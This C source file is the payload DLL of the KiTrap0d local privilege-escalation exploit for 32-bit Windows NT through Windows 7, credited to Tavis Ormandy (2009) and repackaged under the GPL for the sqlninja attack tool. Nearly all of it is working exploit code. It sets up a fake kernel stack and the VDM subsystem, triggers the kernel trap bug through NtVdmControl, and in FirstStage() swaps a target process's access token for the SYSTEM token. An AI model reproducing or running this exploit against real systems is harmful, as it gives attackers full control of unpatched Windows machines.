1 //
2 // --------------------------------------------------
3 // Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
4 // -------------------------------------------- taviso@sdf.lonestar.org ---
5 //
6 // Tavis Ormandy, June 2009.
7 //
8 // Tested on:
9 // $ cmd /c ver
10 // Microsoft Windows [Version 5.2.3790]
11 //
12 // This file contains the exploit payload and VDM Subsystem control routines.
13 //
14
15 // Massive kudos to Tavis for finding the bug, crafting the original exploit,
16 // and for allowing me to modify it, GPL it, and include it in sqlninja :)
17
18 /*
19 * This file is part of sqlninja.
20 *
21 * Sqlninja is free software: you can redistribute it and/or modify
22 * it under the terms of the GNU General Public License as published by
23 * the Free Software Foundation, either version 3 of the License, or
24 * (at your option) any later version.
25 *
26 * Sqlninja is distributed in the hope that it will be useful,
27 * but WITHOUT ANY WARRANTY; without even the implied warranty of
28 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
29 * GNU General Public License for more details.
30 *
31 * You should have received a copy of the GNU General Public License
32 * along with sqlninja. If not, see <http://www.gnu.org/licenses/>.
33 */
34
35 #ifndef WIN32_NO_STATUS
36 # define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
37 #endif
38 #include <windows.h>
39 #include <assert.h>
40 #include <stdio.h>
41 #include <winerror.h>
42 #include <winternl.h>
43 #include <stddef.h>
44 #ifdef WIN32_NO_STATUS
45 # undef WIN32_NO_STATUS
46 #endif
47 #include <ntstatus.h>
48
49 // Process to escalate to SYSTEM
50 static DWORD TargetPid;
51
52 // Pointer to fake kernel stack.
53 static PDWORD KernelStackPointer;
54
55 #define KernelStackSize 1024
56
57 // Enforce byte alignment by default
58 #pragma pack(1)
59
60 // Kernel module handle
61 static HMODULE KernelHandle;
62
63 // Eflags macros
64 #define EFLAGS_CF_MASK 0x00000001 // carry flag
65 #define EFLAGS_PF_MASK 0x00000004 // parity flag
66 #define EFLAGS_AF_MASK 0x00000010 // auxiliary carry flag
67 #define EFLAGS_ZF_MASK 0x00000040 // zero flag
68 #define EFLAGS_SF_MASK 0x00000080 // sign flag
69 #define EFLAGS_TF_MASK 0x00000100 // trap flag
70 #define EFLAGS_IF_MASK 0x00000200 // interrupt flag
71 #define EFLAGS_DF_MASK 0x00000400 // direction flag
72 #define EFLAGS_OF_MASK 0x00000800 // overflow flag
73 #define EFLAGS_IOPL_MASK 0x00003000 // I/O privilege level
74 #define EFLAGS_NT_MASK 0x00004000 // nested task
75 #define EFLAGS_RF_MASK 0x00010000 // resume flag
76 #define EFLAGS_VM_MASK 0x00020000 // virtual 8086 mode
77 #define EFLAGS_AC_MASK 0x00040000 // alignment check
78 #define EFLAGS_VIF_MASK 0x00080000 // virtual interrupt flag
79 #define EFLAGS_VIP_MASK 0x00100000 // virtual interrupt pending
80 #define EFLAGS_ID_MASK 0x00200000 // identification flag
81
82 #ifndef PAGE_SIZE
83 # define PAGE_SIZE 0x1000
84 #endif
85
86 // http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h
87 enum { VdmStartExecution = 0, VdmInitialize = 3 };
88
89 VOID FirstStage();
90 BOOL InitializeVdmSubsystem();
91 PVOID KernelGetProcByName(PSTR);
92 BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);
93
94 // This routine is where I land after successfully triggering the vulnerability.
FirstStage()95 VOID FirstStage()
96 {
97 FARPROC DbgPrint;
98 FARPROC PsGetCurrentThread;
99 FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
100 FARPROC PsLookupProcessByProcessId;
101 FARPROC PsReferencePrimaryToken;
102 FARPROC ZwTerminateProcess;
103 PVOID CurrentThread;
104 PVOID TargetProcess, *PsInitialSystemProcess;
105 DWORD StackBase, StackLimit;
106 DWORD i;
107
108 // Keep interrupts off until I've repaired my KTHREAD.
109 __asm cli
110
111 // Resolve some routines I need from the kernel export directory
112 DbgPrint = KernelGetProcByName("DbgPrint");
113 PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread");
114 PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase");
115 PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit");
116 PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess");
117 PsLookupProcessByProcessId = KernelGetProcByName("PsLookupProcessByProcessId");
118 PsReferencePrimaryToken = KernelGetProcByName("PsReferencePrimaryToken");
119 ZwTerminateProcess = KernelGetProcByName("ZwTerminateProcess");
120
121 CurrentThread = (PVOID) PsGetCurrentThread();
122 StackLimit = (DWORD) PsGetCurrentThreadStackLimit();
123 StackBase = (DWORD) PsGetCurrentThreadStackBase();
124
125 DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p",
126 CurrentThread,
127 StackBase,
128 StackLimit);
129
130 // First I need to repair my CurrentThread, find all references to my fake kernel
131 // stack and repair them. Note that by "repair" I mean randomly point them
132 // somewhere inside the real stack.
133 DbgPrint("Repairing references to %p-%p in CurrentThread@%p...",
134 &KernelStackPointer[0],
135 &KernelStackPointer[KernelStackSize - 1],
136 CurrentThread);
137
138 // For every stack location, try to find all references to it in my
139 // CurrentThread.
140 for (i = 0; i < KernelStackSize; i++) {
141 // The size of this structure varies between kernels, whats the maximum
142 // size likely to be?
143 CONST DWORD MaxExpectedEthreadSize = 0x200;
144
145 // Find and repair all references to this location
146 while (FindAndReplaceMember((PDWORD) CurrentThread,
147 (DWORD) &KernelStackPointer[i],
148 (DWORD) StackBase - ((StackBase - StackLimit) / 2),
149 MaxExpectedEthreadSize,
150 FALSE))
151 ;
152 }
153
154 // Find the EPROCESS structure for the process I want to escalate
155 if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
156 PACCESS_TOKEN SystemToken;
157 PACCESS_TOKEN TargetToken;
158
159 // What's the maximum size the EPROCESS structure is ever likely to be?
160 CONST DWORD MaxExpectedEprocessSize = 0x200;
161
162 DbgPrint("PsLookupProcessByProcessId(%u) => %p", TargetPid, TargetProcess);
163 DbgPrint("PsInitialSystemProcess @%p", *PsInitialSystemProcess);
164
165 // Find the Token object for my target process, and the SYSTEM process.
166 TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
167 SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
168
169 DbgPrint("PsReferencePrimaryToken(%p) => %p", TargetProcess, TargetToken);
170 DbgPrint("PsReferencePrimaryToken(%p) => %p", *PsInitialSystemProcess, SystemToken);
171
172 // Find the token in the target process, and replace with the system token.
173 FindAndReplaceMember((PDWORD) TargetProcess,
174 (DWORD) TargetToken,
175 (DWORD) SystemToken,
176 MaxExpectedEprocessSize,
177 TRUE);
178
179 // Success, try to terminate the current process.
180 ZwTerminateProcess(GetCurrentProcess(), 'w00t');
181 } else {
182 // Maybe the user closed the window?
183 DbgPrint("PsLookupProcessByProcessId(%u) Failed", TargetPid);
184
185 // Report this failure
186 ZwTerminateProcess(GetCurrentProcess(), 'LPID');
187 }
188
189 // Oops, Something went wrong, restore interrupts and spin here.
190 __asm sti
191
192 for (;;) __asm pause
193 }
194
195 // Search the specified data structure for a member with CurrentValue.
FindAndReplaceMember(PDWORD Structure,DWORD CurrentValue,DWORD NewValue,DWORD MaxSize,BOOL ObjectRefs)196 BOOL FindAndReplaceMember(PDWORD Structure,
197 DWORD CurrentValue,
198 DWORD NewValue,
199 DWORD MaxSize,
200 BOOL ObjectRefs)
201 {
202 DWORD i, Mask;
203
204 // Microsoft QWORD aligns object pointers, then uses the lower three
205 // bits for quick reference counting (nice trick).
206 Mask = ObjectRefs ? ~7 : ~0;
207
208 // Mask out the reference count.
209 CurrentValue &= Mask;
210
211 // Scan the structure for any occurrence of CurrentValue.
212 for (i = 0; i < MaxSize; i++) {
213 if ((Structure[i] & Mask) == CurrentValue) {
214 // And finally, replace it with NewValue.
215 Structure[i] = NewValue;
216 return TRUE;
217 }
218 }
219
220 // Member not found.
221 return FALSE;
222 }
223
224 // Find an exported kernel symbol by name.
KernelGetProcByName(PSTR SymbolName)225 PVOID KernelGetProcByName(PSTR SymbolName)
226 {
227 PUCHAR ImageBase;
228 PULONG NameTable;
229 PULONG FunctionTable;
230 PUSHORT OrdinalTable;
231 PIMAGE_EXPORT_DIRECTORY ExportDirectory;
232 PIMAGE_DOS_HEADER DosHeader;
233 PIMAGE_NT_HEADERS PeHeader;
234 DWORD i;
235
236 ImageBase = (PUCHAR) KernelHandle;
237 DosHeader = (PIMAGE_DOS_HEADER) ImageBase;
238 PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
239 ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
240 + PeHeader->OptionalHeader
241 . DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
242 . VirtualAddress);
243
244 // Find required tablesa from the ExportDirectory.
245 NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
246 FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
247 OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
248
249 // Scan each entry for a matching name.
250 for (i = 0; i < ExportDirectory->NumberOfNames; i++) {
251 PCHAR Symbol = ImageBase + NameTable[i];
252
253 if (strcmp(Symbol, SymbolName) == 0) {
254 // Symbol found, return the appropriate entry from FunctionTable.
255 return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
256 }
257 }
258
259 // Symbol not found, this is likely fatal :-(
260 return NULL;
261 }
262
263 // Exploit entrypoint.
DllMain(HMODULE Module,DWORD Reason,LPVOID Reserved)264 BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
265 {
266 CONST DWORD MinimumExpectedVdmTibSize = 0x400;
267 CONST DWORD MaximumExpectedVdmTibSize = 0x800;
268 FARPROC NtVdmControl;
269 DWORD KernelStack[KernelStackSize];
270 DWORD Ki386BiosCallReturnAddress;
271 CHAR Pid[32], Off[32], Krn[32];
272 struct {
273 ULONG Size;
274 PVOID Padding0;
275 PVOID Padding1;
276 CONTEXT Padding2;
277 CONTEXT VdmContext;
278 DWORD Padding3[1024];
279 } VdmTib = {0};
280
281 // Initialise these structures with recognisable constants to ease debugging.
282 FillMemory(&VdmTib, sizeof VdmTib, 'V');
283 FillMemory(&KernelStack, sizeof KernelStack, 'K');
284
285 // Parent passes parameters via environment variables.
286 //
287 // - VDM_TARGET_PID
288 // Pid of the process to transplant a SYSTEM token onto.
289 // - VDM_TARGET_OFF
290 // Offset from ntoskrnl of Ki386BiosCallReturnAddress.
291 // - VDM_TARGET_KRN
292 // Ntoskrnl base address.
293
294 GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid);
295 GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn);
296 GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off);
297
298 NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
299 TargetPid = strtoul(Pid, NULL, 0);
300
301 // Setup the fake kernel stack, and install a minimal VDM_TIB,
302 KernelStackPointer = KernelStack;
303 KernelStack[0] = (DWORD) &KernelStack[8]; // Esp
304 KernelStack[1] = (DWORD) NtCurrentTeb(); // Teb
305 KernelStack[2] = (DWORD) NtCurrentTeb(); // Teb
306 KernelStack[7] = (DWORD) FirstStage; // RetAddr
307 KernelHandle = (HMODULE) strtoul(Krn, NULL, 0);
308 VdmTib.Size = MinimumExpectedVdmTibSize;
309 *NtCurrentTeb()->Reserved4 = &VdmTib;
310
311 // Initialize the VDM Subsystem.
312 InitializeVdmSubsystem();
313
314 VdmTib.Size = MinimumExpectedVdmTibSize;
315 VdmTib.VdmContext.SegCs = 0x0B;
316 VdmTib.VdmContext.Esi = (DWORD) &KernelStack;
317 VdmTib.VdmContext.Eip = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0);
318 VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
319 *NtCurrentTeb()->Reserved4 = &VdmTib;
320
321 // Trigger the vulnerable code via NtVdmControl().
322 while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
323 NtVdmControl(VdmStartExecution, NULL);
324
325 // Unable to find correct VdmTib size.
326 ExitThread('VTIB');
327 }
328
329 // Setup a minimal execution environment to satisfy NtVdmControl().
InitializeVdmSubsystem()330 BOOL InitializeVdmSubsystem()
331 {
332 FARPROC NtAllocateVirtualMemory;
333 FARPROC NtFreeVirtualMemory;
334 FARPROC NtVdmControl;
335 PBYTE BaseAddress;
336 ULONG RegionSize;
337 static DWORD TrapHandler[128];
338 static DWORD IcaUserData[128];
339 static struct {
340 PVOID TrapHandler;
341 PVOID IcaUserData;
342 } InitData;
343
344 NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory");
345 NtFreeVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory");
346 NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
347 BaseAddress = (PVOID) 0x00000001;
348 RegionSize = (ULONG) 0x00000000;
349 InitData.TrapHandler = TrapHandler;
350 InitData.IcaUserData = IcaUserData;
351
352 // Remove anything currently mapped at NULL
353 NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
354
355 BaseAddress = (PVOID) 0x00000001;
356 RegionSize = (ULONG) 0x00100000;
357
358 // Allocate the 1MB virtual 8086 address space.
359 if (NtAllocateVirtualMemory(GetCurrentProcess(),
360 &BaseAddress,
361 0,
362 &RegionSize,
363 MEM_COMMIT | MEM_RESERVE,
364 PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
365 ExitThread('NTAV');
366 return FALSE;
367 }
368
369 // Finalise the initialisation.
370 if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
371 ExitThread('VDMC');
372 return FALSE;
373 }
374
375 return TRUE;
376 }
377
378